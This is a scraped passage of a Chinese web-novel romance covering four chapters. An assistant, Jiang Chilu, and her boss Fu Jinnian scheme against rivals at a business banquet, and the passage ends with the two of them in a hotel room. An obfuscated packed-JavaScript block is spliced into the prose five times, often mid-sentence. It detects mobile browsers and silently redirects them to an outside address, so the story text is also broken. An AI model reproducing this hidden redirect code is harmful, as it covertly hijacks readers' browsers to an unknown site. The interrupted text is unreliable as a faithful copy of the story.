她站在视野盲区的位置,靠着玻璃门给傅今棠发消息。
【江迟鹿:夏珍你认识吗?】
【傅今棠:你说的不会是夏家刚回国那个吧,我不熟,但是她挺厉害的。】
【江迟鹿:她今天强硬的拉着傅靳年要一起吃饭。】
【傅今棠:我靠,那你怎么做的。】
【江迟鹿:我要做啥啊,我就靠边了。】
【傅今棠:?你没事吧,你靠什么边啊,你不是同意了我的计划吗!你上啊!你快上!就算不是为了傅靳年,也不能让夏珍跟傅靳年在一起,不然傅靳年又要多一个得力助手,我靠这货运气怎么这么好。】
江迟鹿心里腹诽:人家是男主运气当然好。
【江迟鹿:那我也不是想上就能上的啊。】
【傅今棠:你赶紧去打听一下,他们要在哪里吃饭,我来。】
江迟鹿看着手机消息,回到办公室。
姜则还在位置上,傅靳年已经离开了。
她走到姜则旁边:“姜助,傅总不是还有一个合作商要见吗?人呢?”
姜则敲着键盘一边回复她:“跟刚刚那位吃饭去了。”
他推了推眼镜,“刚刚那位为什么拉着你陪她去吃饭?”
江迟鹿顿了一下,还没回答上来。
姜则又问:“傅总还亲自出来帮你解围,江迟鹿,你老实告诉我,你是不是.......”
“可能是傅总怕我把合作方惹生气了,对方不签合同了吧。”江迟鹿打断他说话,笑嘻嘻开口。
姜则又问:“我听说你要搬出宿舍了?那你住哪里?你刚上班没多久,租房多贵啊。”
江迟鹿又是大吸一口气,这姜则怎么句句都问到点上。
她统统敷衍过去,开始套餐厅位置。
......
地下车库,傅靳年上了驾驶座,第一时间就感觉到座位的不适。
他顿了一下,不知道是心里作用还是什么,感觉空气里也多了一丝她身上甜甜的味道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288974|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看到他调试位置。
夏珍很意外的问:“那个助理开的是你的车?”
傅靳年将位置调好,随口回了一句:“她没车。”
“没车就能开你的车了?我怎么不知道傅总您这么大方啊,之前在M国,我想接你的车开,你可从来没同意过。”
傅靳年没再回她。
他选了一家离公司有点远的餐厅。
主要是......难吃。
他不想和夏珍耗费太多时间,但是又不得不给她这个面子。
保险起见,他还叫上了周衍,多一个人在,夏珍脸皮不至于太厚。
夏珍刚回国,也不了解国内餐饮情况,跟着他就进去了。
傅今棠收到江迟鹿发来的地址,第一时间就驱车前往。
江迟鹿这会儿还没到下班时间不能离开公司,她只好先过去探探情况。
车停在餐厅外,她落下窗户就看到周衍和傅靳年碰上。
她皱了下眉,“这货怎么在。”
她本来还想直接过去当电灯泡的,但是看到周衍在,瞬间想走。
但想到江迟鹿现在还在公司,于是她硬着头皮下了车。
“哥。”她跑到傅靳年身边,“好巧啊,你居然也在这里?来吃饭的?我也是,一起啊。”
夏珍脸色很不好看。
本来是单独和傅靳年一起吃饭的,莫名其妙多了两个人。
变成了四个人坐在包间大眼对小眼。
互相介绍了一番后就陷入了沉默。
周衍手机藏在桌下,给傅靳年发消息。
【周衍:你把傅今棠叫来的?】
【傅靳年:不是。】
【周衍:那你得小心点,你公司肯定有内鬼咯。】
傅靳年反扣手机在桌面,看向傅今棠,“怎么想到来这里吃饭。”
傅今棠脑子里都是江迟鹿什么时候下班,随口回了句:“这里菜品挺好吃的,我上次来吃了就一直念念不忘。”
实则她根本没吃过这里的菜,这里离她公司挺远的,她脑子抽了才会开车这么远来这里吃饭。
傅靳年看着她,一句话没说。
等菜上上来后,傅今棠吃了一口,脸色变了变,不死心又吃其他的。
居然找不出一道好吃的菜来......
天杀的,她居然还说因为这里的菜好吃她念念不忘。
这餐厅开的,专门开来装逼格的吧。
第一百零二章 怀疑
傅今棠频繁看时间,周衍问:“还有谁要来吗?”
她顿了一下,摇头:“没有啊。”
“那你有事情要忙?”他又问。
傅今棠看过去:“就算有事情当然也得吃了饭再忙,你一直问我问题做什么。”
周衍抬了一下手机,那其中意思不用其他人也能明白是什么意思。
傅今棠却只看了他一眼就垂下眼睛当瞎子。
周衍:“......”
“那个,我吃的也差不多了......”夏珍看向傅靳年,“我还有些工作上的事情要和你商谈。”
她想跟傅靳年单独相处,而不是在两个人眼皮子底下演戏。
傅今棠赶紧说:“还有菜没上呢,你就吃好了?”
夏珍微笑着看向傅靳年:“我怀疑傅总是故意耍我啊,这里的菜品......一言难尽。”
傅靳年:“......既然你吃好了,那就回去谈工作。”
眼见两人都起身要走了,傅今棠看了一眼时间,都还没到十二点,江迟鹿现在肯定还在公司呢。
她拿着手机给江迟鹿发消息。
-他们好像回去谈工作了,不知道是不是回公司。
江迟鹿收到消息的时候正在帮傅靳年排明天的行程安排表。
“吃这么快啊。”她皱了皱眉,发了一个收到过去。
傅今棠追了出去。
“那个.....哥。”她走过去,笑了笑,“你应该还记得我上次跟你说过的,我有个朋友吧?”
傅靳年眉梢挑了挑,“哦,你那个......大美女朋友。”
傅今棠笑了一下,开口道:“我才知道,原来我那个朋友就在你公司上班呢。”
傅靳年顿了一下,“我公司?谁?”
傅今棠:“她叫江迟鹿,听她说现在是你的助理呢,之前她就跟我说找到新工作,但是我也没问过她在哪里上班,没想到这么巧,正好你要回公司,帮我带份午饭给她呗。”
她还故意看了看手机,“实在是我今天还有事情,不然我就自己去送了。”
夏珍站在旁边挑眉,“你是说,傅靳年身边那个助理是你的好朋友?”
傅今棠微笑着点了点头。
再转眼看傅靳年,发现他怔愣站在那,他眸色深沉地落在她身上,问:“你之前说的朋友是她?”
傅今棠点头:“对啊对啊,看来你们真的很有缘分呢。”
“......”傅靳年沉默了一会儿,片刻后才说话,问:“你想让我带什么。”
傅今棠怕他嫌麻烦不帮自己带了,于是就说了他顺路的离公司近的,而且出餐还快的一家海鲜炒饭。
傅靳年同意了。
她高兴地给江迟鹿汇报消息。
【傅今棠:等着吧!我不仅帮你把午饭解决了,还给你找到了一个好机会。】
到时候江迟鹿为了谢谢傅靳年,请傅靳年喝个咖啡吃个甜点啥的,不就熟了吗。
周衍从餐厅里面出来,看傅今棠对着傅靳年已经远了的车尾气傻笑,曲指敲了一下她的脑袋,“笑什么呢,又想了什么阴谋诡计。”
“滚你的。”她瞬间收了脸上的笑容。
“还生气呢?都跟你说了那些狗仔拍到的是假的,我可没随便乱抱女人。”
“呵呵,鬼管你是假的还是真的,总之你的**影响到我了。”她转身拉开跑车上去,只给周衍留了个车尾气。
......
“傅总,你这么快就回来了啊。”姜则迎面走上去,傅靳年将手里提着的打包袋递过去。
姜则看着冒出香味的打包袋,整个人顿了一下。
傅总居然有一天给他带饭回来呜呜......傅总终于当人了,简直就是奇迹。
他拿过来,开口正要道谢。
“给江迟鹿。”他淡淡说完。
姜则傻眼愣在那里。
不是给他的?
傅总怎么还双标。
“里面有两份。”傅靳年补充了一句,才回办公室。
姜则脸上顿时又堆起笑容来,“谢谢傅总,我们会好好享用的!”
姜则跟江迟鹿一起到食堂吃饭。
江迟鹿拿着手机给傅今棠发消息。
【是带饭回来了,但是是让姜则给我的,我连他人都没有看到。】
【棠棠:这么......冷漠啊。】
江迟鹿一只手撑着脸颊,拿着勺子吃了一口炒饭,粒粒分明,配合着鲜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288975|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嫩的虾仁鱿鱼还有玉米粒,口腔爆香。
嗯,好吃。
姜则咽下一口美味,感叹:“这还是第一次傅总出去吃饭专门给我打包饭回来,你说这是为什么呢。”
江迟鹿瞥了他一眼:“你都不知道,我肯定也不知道啊。”
姜则一惊,打了个响指,“你说......他是不是觉得我最近太辛苦了,心里过意不去。”
江迟鹿:“......虽然我不知道是什么原因,但是绝对不可能是这个吧,就算他真的过意不去,以他的性格,应该是直接加工资,而不是请吃一顿炒饭。”
傅靳年没这么小气。
姜则也觉得她说的有道理,同时惊讶:“你好像很了解傅总的样子?”
江迟鹿轻咳了一声,“毕竟我来傅总身边工作也不是一天两天了。”
姜则突然靠近她,问:“小江,你可千万别有什么不好的心思,我们老老实实工作......”
江迟鹿无语:“你是觉得我故意了解傅总?怎么可能,这些都是我......”
都是她大学就知道的事情了。
“这些都是我听他们随口提的,还有平时,傅总请客也都是最贵的,所以我才这么说。”
“哦~”姜则看着她,“你还记得上次来公司的一个穿西装的男人吗?”
“我们公司多的是上班穿西装的。你是说哪个?”江迟鹿喝了一口西红柿蛋汤解腻。
“我说的是傅总的私人助理,你可能不认识,但是他上次来,我听说好像是要在公司附近置办一套房子,傅总已经有地方住了,也没听他说要搬家,我估计是给别人的......”
江迟鹿愣在那里没有动,小眼神瞥了瞥他。
姜则疑惑:“傅总也没有女朋友啊,还能是给谁的,难不成......”
他看向江迟鹿。
江迟鹿心虚的往后倒,“什么......”
“难不成是给那位夏总的?刚好夏总回国了。”
“啊?”
“你没看群消息吧,大家都在猜夏珍就是傅总那个前女友,而且刚刚好,两人都在国外读书,可能是傅总要回国了就分手了,还挺合理的。”
第一百零三章 买哪种
对于姜则的猜测,江迟鹿保持沉默。
她一口一口把那一盘炒饭都吃光了,摸着肚子回了自己的工位。
看到有几个人推着一排的衣服进办公室,随后,她也被叫进了办公室。
江迟鹿看着在办公桌后面认真工作的男人,走过去问:“傅总,您叫我是什么事?”
“那边的衣服试试,晚上有个商业晚宴,你当我女伴。”
“啊?我吗?”江迟鹿记得这次宴会,剧情里傅靳年可是没有带女伴的,然后在宴会上和苏轻遇见。
苏家落魄,苏轻也跟着被人轻视,几个以前的朋友联合起来讥讽她,而傅靳年挺身而出,不仅帮苏轻骂了回去,还当场宣布自己和苏轻的订婚宴就在下个月。
“对,你,过去挑一件你喜欢的。”
他抬起下颌,点了点旁边送进来的礼裙,开口道:“会有专业的化妆师帮你化妆。”
江迟鹿看着那些漂亮的裙子,眼睛一亮。
既然已经决定迈出那一步了,那就战到底。
至于以后会不会去扫大街,以后再说吧。
她选了一件魏紫色的鱼尾裙,“这个怎么样?”
她拿着裙子在自己身上比划。
傅靳年抬手指了指办公室里的休息间,“可以去里面试试。”
江迟鹿拿起礼服裙走进去。
这里是傅靳年休息的地方,跟卧室没什么区别,床啊衣柜啊都有。
她脱下身上的衣服,虽然室内是恒温,但还是激起了一层鸡皮疙瘩,匆匆穿上,她利落的拉上背后的拉链,正要出去,突然想到什么。
她看向全身镜里的自己,嘶了一声,眼珠子转了转,心机地将刚刚拉上去的拉链又拉了下来。
她拉开门缝,小心翼翼探出一个脑袋,“傅......”
刚出了一点声音,傅靳年偏头看向她。
她纤细白皙的胳膊从门缝里伸出去,招了招手。
傅靳年握着钢笔的手一顿,签完最后一个字,放下钢笔起身走过去。
走到门口,江迟鹿将门又打开了一些,缓缓背过去,“那个,帮我一下。”
拉链只拉了一半,露出上面白皙光滑的大片皮肤。
外面暖阳从玻璃窗透进来,映在她皮肤上,更衬得肌肤似雪。
他喉结滚了滚,垂睨在那白皙皮肤上的眼神晦涩深沉。
“嗯?”江迟鹿回头看他,“傅......”
男人的手压在她半张脸上,推着她的转回去,“等会儿......”
江迟鹿听出来,他声音似乎.....有点哑。
她心里有个雀跃的小火花炸开了。
勾引成功!
他修长骨感的手指捏住那个小小的拉链,慢慢的往上拉。
随即,他有些微热的指腹擦过她温凉的皮肤,江迟鹿肩膀缩了一下。
咬着牙齿心里暗暗想,傅靳年肯定是故意的,别以为她不知道他的小心机!
她吐出一口气,“好了吧?”
身后的男人淡淡应了一声,“嗯可以了。”
他停留在她后颈的手捏了一下她的肉。
江迟鹿身体一个激灵,下一秒,那只手又很不安分地捏了一下她的耳垂。
挑逗!这是明晃晃的挑逗!
江迟鹿攥住他的手腕,转过身盯着他。
男人的手腕又硬又大,藏着的那股力气,江迟鹿能明显感觉到,是自己拗不过的力气。
“你刚刚是故意的!”她强硬的说出。
傅靳年懒散地笑了一声。
明明是她握着他的手腕,却像是男人掌控着她一样,将她压迫到墙壁,直到她的背脊贴在墙壁上,他轻松的圈住她,微微低头:“你不也是故意的?”
江迟鹿:“......”居然真的被看出来了。
“什么故意的,你以为我跟你一样心眼多啊。”她哼了一声,偏过头,“再说,就算我是故意的,那也是你先给我这个机会,你明明可以不带女伴去的,但是你非要带我去。”
傅靳年轻哼了一声,“你想去吗?”
江迟鹿抬眼:“想去啊,毕竟加班有双倍工资,谁不想要钱。”
他手腕一转,轻松从江迟鹿的手里挣脱出来,“只是为了工资?”
她笑眯眯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288976|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开口:“那当然......不止了。”
她走过去,抓起他的手腕抬高,从他手臂下绕到他面前,抱住他。
这个动作自然地仿佛小情侣。
她笑着开口:“毕竟,我还要报答傅总给我安家呢。”
傅靳年看着她讨好的笑容,脸上并没有多开心,手掌轻轻捏着她的后颈,“是吗?”
他声音懒懒的,却听出别有一番意味。
“嗯.....光是这样报答还不够啊,傅总你还想要我怎么报答你。”她抬着下巴,和他对视。
两人的身体挨着身体,没有一丝距离,偏偏此刻眼睛里都没有什么温度。
傅靳年的手从她的后颈落到她的下颌,将她的下颌往上抬了抬,一个吻落下。
只是碰了一下,对于两个已经深入交流过的人来说算不得什么。
但是,莫名的......心跳跳得快了一些。
他在她耳边淡淡开口:“xx酒店,1307。”
说完,他的手短暂的在她腰上握了一下,转身出去。
江迟鹿拿着手机给傅今棠发消息。
【他刚刚给我报了酒店房间号。】
【棠棠:我靠,傅靳年?我靠?没想到这货动作这么快,我就说不近女色什么的肯定都是假的,不过你是怎么做到的?】
【没做什么,就是穿了个漂亮裙子。】
【棠棠:那接下来呢,你准备好了吗,东西买好了吗?】
【什么东西?】
【棠棠:你说呢,那当然是小tt啊!】
江迟鹿扶额。
【他应该需要大tt。】
【棠棠:我靠?你怎么这么清楚,莫非你还偷看过?】
江迟鹿切了一声,“偷看?我直接试过了好吧。”
当然,她没跟傅今棠说,关掉手机。
她换好了自己的衣服出去。
傅靳年已经恢复原样了,就像是刚才什么也没有发生一样,这会儿坐在那签署文件。
江迟鹿出了办公室,拿着手机紧急下单。
但看到那一排各种各样的,人又有些懵了。
买哪种。
第一百零四章 故意
买好东西后,江迟鹿提前将其送去已经订好的酒店。
从酒店回到公司,傅靳年请来的化妆师已经等候在休息间了。
她坐在镜子前,看着镜面照出自己干净莹白的脸,化妆师盯着她的脸惊叹,“真是无从下手,除了黑眼圈有点重,找不出缺点了。”
“......”
她撕开面膜给江迟鹿敷,“看来你们工作很忙啊。”
“是有点。”江迟鹿笑了一下,看来平时得少打点游戏了。
一切准备好后,江迟鹿对着全身镜,拿起手机拍了一张。
登录她大概已经有一年没有登录的wb。
这个社媒账号是她大一的时候开设的,就发一些日常在上面,读书分享美食分享,碎碎念分享,偶尔会发一些照片,还有傅靳年的背影那些。
有一千多的粉丝。
苏轻就在这一千多的粉丝中偷偷窥视她的生活。
她将刚刚拍的那张照片传上去。
背景以极简奢雅为骨,落地玻璃将城市天际线框成巨幅画卷,日光漫过浅灰大理石地面,折射出冷冽高级的光泽。
她在正中间,紫色的裙身十分夺目,手机挡住了小巧的脸,露出优美的肩颈线和精致的锁骨,白皙的皮肤透着光一般细腻。
想了想,她配文:第一次跟上司出席宴会,有点紧张。????^????
这是一条其他人看了没什么,但苏轻看了会生气的配文。
过了一会儿,就有人在她的图片下回复。
【辛辛:好久不见,真漂亮啊。】
【向天空:上一次发还在学校呢,现在都工作了,看来新工作很不错啊,是在商圈中心那一块。】
【青青子衿:怎么一年没有发了,是发生什么了吗。】
几条评论中,江迟鹿一眼就锁定了这个id是青青子衿的评论。
这应该就是苏轻的小号了吧。
她这是故意要自己想起,那一年没有发wb就是因为傅靳年离开了?
江迟鹿点进去回复她。
【江江:之前准备毕业论文和找工作太忙啦,现在工作稳定了,我的上司特别好~】
哼哼,最后一条气死你。
......
宴会上,江迟鹿跟在傅靳年身边,安静的看着他跟来往的宾客交流。
她中午炒饭吃多了,晚饭就没吃,喝了半杯咖啡。
跟着傅靳年走动后,胃里越来越空。
她情不自禁看了一眼桌上的精美小点心,但也只是一眼,很快就收回。
“好,我们下次聊。”傅靳年和面前的宾客点了点头,低眸扫了一眼江迟鹿挽着自己胳膊的手,他手肘动了动,转过身往另一边去。
江迟鹿还不知道他要做什么,就跟在他身边,等他停在那一桌小蛋糕前,她才愣了一下,抬头看向他。
傅靳年淡淡瞥了她一眼,“吃不吃?”
“吃。”江迟鹿毫不犹豫拿了一个小草莓蛋糕,用小叉子慢慢吃了起来。
奶油甜而不腻,入口便丝滑的融化,她脸上扬起小小的笑容来。
乐声轻缓流淌,宾客衣香鬓影。
两人站在点心桌旁,周身仿佛与其他隔开一道屏障,在沉浮贪欲中宁静安好。
“傅总。”远处传来一道声音,打破了这份宁静。
江迟鹿抬头看去,夏珍一身玫瑰色的丝绒裙,大波浪卷发侧向一边,露出纤细的脖颈和一片锁骨,是妖艳的美。
而夏珍的身边跟着,小白花似的,穿着一身奶白色丝绸公主裙的苏轻,她此刻脸色并不好。
江迟鹿放下手里的草莓蛋糕,拿起手机给傅今棠发消息。
两人在宴会前就谈好了,这次宴会绝对不能让其他人把傅靳年带走。
不管是夏珍还是苏轻,谁来都不行。
“真没想到,你居然会带着女伴来。”夏珍勾着红唇一笑,看向了旁边的苏轻:“看来有些事是我误会了。”
她这是故意对着苏轻说的。
苏轻看向江迟鹿的脸色变得比以前还要难看。
这是彻底嫉恨上了江迟鹿。
毕竟这次的商业宴会不是什么小宴会,傅靳年能带江迟鹿来,说明江迟鹿在他心里是重要的。
尤其,还有江迟鹿专门挑拨的那句话。
这要是放在以前,江迟鹿或许还要被苏轻的脸色吓唬住,毕竟这可是女主。
但是现在,江迟鹿已经无所谓了。
她白皙的脸上画着比平常略浓的妆容,明媚清丽,紫色衬得她皮肤更加白,站在傅靳年身边,格外的美。
苏轻看着自己偷偷喜欢了这么多年的人身边站着另一个女人,心脏绞痛,她鼻腔有些酸涩。
她以为傅靳年回到傅家,她就能和他在一起,毕竟他跟江迟鹿已经门不当户不对了。
可是种种事件都在告诉她,傅靳年一点也不在意她,如果不是念及她小时候救过他的人情,早在酒店下药那天,他就能把自己送进去。
苏轻看向江迟鹿,脸上还保持着微笑,“江迟鹿,我们也挺久没见的了。”
江迟鹿捂了下嘴巴,眉眼很做作:“哦,上次不好意思,我回来本来是要去你家里拿防晒霜的,但是周礼说不用了,难道是他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288977|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲自给你送过去了?”
苏轻脸色更不好了。
因为自从那天过后,周礼就没再联系过她。
就连她发消息过去,对方也没有理会。
以前从来不会出现这种情况的。
“......没事的。”苏轻手指蜷了蜷,心里闷着火气,那天,她脸都晒伤了,还晒出了斑,只能化妆遮住。
江迟鹿分明就是故意的。
夏珍站在旁边,很乐意两人争锋相对。
对她来说这是好事,她好坐收渔翁之利啊。
然而,注定是要让她失望了。
江迟鹿对苏轻笑了笑,开口道:“我就知道你最大度了。”
她挽着傅靳年的胳膊,抬头看他,嘴角仍旧带笑,“傅总,听说您和苏小姐要订婚?您真是有福了,苏小姐漂亮又大方,恭喜啊。”
原剧情是苏轻被欺负,傅靳年当众承认两人订婚消息,那她现在就让傅靳年亲口否定,让所有人都知道两人已经没有任何瓜葛。
她倒是期待,苏轻认识的那些拿钱砸人的朋友,还会是她的朋友吗。
夏珍听到江迟鹿的话,傻眼了一秒。
这姑娘是没心机还是真傻呢,话里的小心思不要太明显。
夏珍将目光投向傅靳年。
他不至于这种都看不出来吧。
旁边有人转身看过来,“什么?你们......不打算订婚了吗。”
江迟鹿看了一眼,那个男生穿着西装,比上一次见面要成熟一点,但是她不会忘记。
就是这个人在海边嘲讽她,还往她身上丢钱。
那个男生显然也看到了江迟鹿,见她和傅靳年站得这么近,明显顿了一下,眼神有些慌乱。
这时,傅靳年开口道:“是的,两家商谈过后,并不打算联姻,相信苏小姐会遇到更好的人。”
夏珍瞪大了眼睛,不敢相信刚刚居然真的是傅靳年说的话。
他是真的没听出江迟鹿的小心思,还是故意顺着她说话呢。
夏珍更偏向答案是后者。
曾经在M国的时候,很多姑娘追傅靳年,其中有白人,也有留学的国人。
傅靳年身边没有异性,但却有不少异性为了引起他的注意耍一些小心机。
夏珍作为旁观的人,还以为傅靳年跟那些傻叉大直男一样看不出那种绿茶的心机。
但是傅靳年不一样,他几乎一眼就能将那些人看穿,直白而坦然地拒绝。
丝毫不留情面。
也是这样他,让夏珍上了心。
但现在是什么情况?
他是回国时脑子被海关扣押了吗?
第一百零五章 跑什么
苏轻脸色一白,盯着傅靳年,张了张唇,“事情还没有定下......”
傅靳年面无表情,冷漠道:“我的婚事是还没有定下,但有一件事情已经确定了,那个人不会是你。”
耳边突然多了许多嘈杂声,大家看似各忙各的,实则都竖着耳朵在听这边的八卦呢。
傅靳年说完后,看向江迟鹿,“蛋糕不吃了吗?”
她愣了一会儿,把刚刚吃了一半放在旁边的小草莓蛋糕又端了起来。
傅今棠过来救场的时候,场子已经没了。
苏轻没脸再呆下去,跑了出去。
夏珍站在一旁盯着傅靳年看,怀疑他是不是被人换魂了,这么简单的伎俩居然都看不出来,还被牵着走。
而之前那个在海边嘲讽江迟鹿的人立即反应过来,他端着一杯红酒走到江迟鹿身边,“不好意思,上一次是我的错,我嘴上犯贱说了不好听的话,我自罚三杯。”
他闷头把那一杯红酒都灌了下去,又拿起服侍生托盘里新的一杯,二话不说咕噜咕噜灌进去。
有些液体从他嘴角流出来,弄脏了白色的衬衫领口。
喝完三杯后,他看起来异常狼狈,至少在这人人衣冠规整的宴会里,他的衬衫被红酒打湿,脸色也很红,跟那些从容交流的贵客格格不入。
江迟鹿知道他就是故意的。
彰显自己的狼狈,想向自己取得原谅。
耳边一道清冷的嗓音问:“上次什么事情?”
江迟鹿偏头,对上傅靳年疑问的神情,她眸子一转,看向那个男生。
那个男生更慌了,“真的对不起,你想我怎么道歉,尽管提出来,你能做到的我肯定做到。”
江迟鹿挑了一下眉毛,“嗯......我呢,也不是爱计较的人,上次你朝我扔的钱我也没拿到手,现在想想真是后悔呢。”
她笑了笑,开口道:“这样吧,你就像上次一样,在宴会里找人,让他朝你丢钱,然后你把钱给我就可以了,对了,要找一百个人哦。”
那个男生脸色红了白白了红,幻灯片一样,江迟鹿歪头盯着他,“不行吗?”
他扯着僵硬的嘴角笑了笑:“可以,我现在就按照你说的做。”
说完,他目光小心翼翼地看向傅靳年。
傅靳年没什么表情,“你觉得不够?还需要我添加一点吗?”
“不不不,够了够了,我现在就去。”他吓得撒脚就跑,颜面不要了,当着众人的面开始做江迟鹿给的任务。
夏珍盯着江迟鹿,喃喃道:“小助理你......”真是有些手段。
江迟鹿目光落在夏珍身上,眼睫毛眨了眨,对上不远处傅今棠的视线。
傅今棠立即明白了她的意思,从旁边走过来。
微笑着和夏珍敬了一杯酒,“夏总,我们聊聊?上次我想邀请您一起吃个饭,您的人说您太忙了.......”
夏珍盯着傅今棠,目光转了转,“你是傅靳年的.......”
傅今棠笑了笑,“哈哈,是,我是他妹妹。”
江迟鹿拉着傅靳年走向另一边。
“傅总,你是不是有些累了,我们上楼去休息厅休息吧?”
傅靳年单手插在兜,淡淡的盯着她,眼神中透着一丝旖旎。
江迟鹿轻咳了一声,“怎么了?不累吗?”
傅靳年抬起手腕,看了一眼表,“不着急吧。”
他话里有话,江迟鹿还听出了他话里的意思,立即开口:“我不是那个意思,我说的休息是真的休息!”
她是疯了才会在人家宴会休息厅......
“我说的不着急也只是不着急。”他走向她,身形几乎要和她贴住,嗓音低沉性感,“还是,你想成其他什么了?”
江迟鹿:“......”
她挤出微笑,“没有。”
两人依旧上了二楼。
二楼有个弧形的走廊,能看到一楼的情况。
江迟鹿手里握着一杯红酒,看着一楼,那个男生红着脸,一个一个问人。
来这里的人都非富即贵,看向他的眼神都带着鄙夷,甚至要叫保安把他轰出去。
男生惊吓之余开口:“是,是傅总让我这么做的。”
比起在这么多人面前丢脸,更不能得罪的是傅靳年。
那些上流人士,一听是傅靳年让他这样做的,瞬间就明白了是他得罪了人。
无非是几百块钱,随意就打发了。
都是些会见风使舵的人,钱砸给他了,随手倒酒撒点心在他身上也顺便做了。
等他拿着手里厚厚一沓钱跪在江迟鹿面前时,浑身上下已经脏乱不堪,他举着手里的钱,“这是所有的......”
江迟鹿垂下眼,“可是都脏了。”
“对不起......”他没想到江迟鹿这么难缠,就因为当初那件小事,让自己在上流圈子丢尽了脸。
“要不,你换了干净的送到傅总家?”她偏头看向傅靳年,“怎么样?”
傅靳年懒散靠在栏杆上,手肘撑在上面,此时像个昏君,纵容着她,“可以。”
男生连忙点头,他抱着那些钱转身离开。
原本心里还想着报复回去,这会儿是一点报复的心思都不敢了。
江迟鹿都敢让他送去傅总家里了,两人的关系不可低估,要真让江迟鹿出了什么事情,他估计也没好下场。
江迟鹿看他腿脚发抖的下楼梯,眼神透出淡淡的厌漠。
耳边传来傅靳年淡然的嗓音:“既然叫他送到我家,那你记得来拿。”
江迟鹿抬头,“送给你。”
傅靳年眉梢挑了下,身形立起,“心里爽快了吗?”
江迟鹿顿了一下,抬眼盯着他看。
他微抬眉骨,睨下的眼神带着一丝看透的淡然,“我让你利用,只有一个要求。”
“什么要求。”
他抬手,修长的指骨圈住她纤细的手腕,将人往自己怀里拉了拉,清冷的嗓音低沉道:
“留在我身边。”
两人亲昵的姿态,一楼的人只要抬头就能看得清清楚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288978|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楚。
但是傅靳年依旧毫不掩饰,因为他知道能进来的人就算看到了什么,出去也只会把嘴巴闭得紧紧的。
江迟鹿垂眼,盯着自己腕子上的骨感极强的长指,她慢慢将自己埋进他怀里,“时间.....是不是差不多了?”
傅靳年低头,闻到她发丝的馨香,嘴角淡淡勾起一个弧度,“这么着急,你准备了什么?”
他指腹摩挲在她手臂内侧,撩得有些痒,她往后缩了缩,被一道力度扯了回去。
那只手压在她后颈,低沉的嗓音凑到她耳边:“今天你要是再逃,我就把你捆起来。”
xx酒店,1307。
“滴”一声,房门被男人一只手推开。
门关上的同时,女人也被他压在门上,他身上的西装外套脱了下来,拎在手里,背肌撑起的白色衬衫被抓得有些皱。
呼吸粗喘交缠,带着她甘甜的味道。
他单手圈起她纤细的腰身,将她放在玄关柜上,和她平视,指腹擦过她晕染开的口红,闷声笑了一下,手指勾起旁边的塑料袋,“这是你准备的?”
修长的手指从中随便拿出一盒,盒子在指间转动,待看清上面的字,他轻笑一声,喉结滚了滚。
他一手抱起她走向大床,江迟鹿抱着他的脖颈,从他手里抢走了那盒。
“嗯?你要帮我?”他慵懒喑哑的嗓音撩得她耳朵痒痒的。
“.....我看看你拿的哪个。”江迟鹿声音有点小。
傅靳年调侃:“你有偏好?那可以你来挑。”
她的手掐住他的脖子,“我,才,没,有。”
“那就都试试,爱好是试出来的。”他拍了一下她。
江迟鹿脸色更红,“不许拍我......”
刚说出来,她被压在了床上。
那件裙子拉链在背部,她清晰的感觉到有一只手从她的后颈滑动到尾脊部,带起一阵阵的颤栗。
落地窗外华灯初,繁华的夜景无比安静。
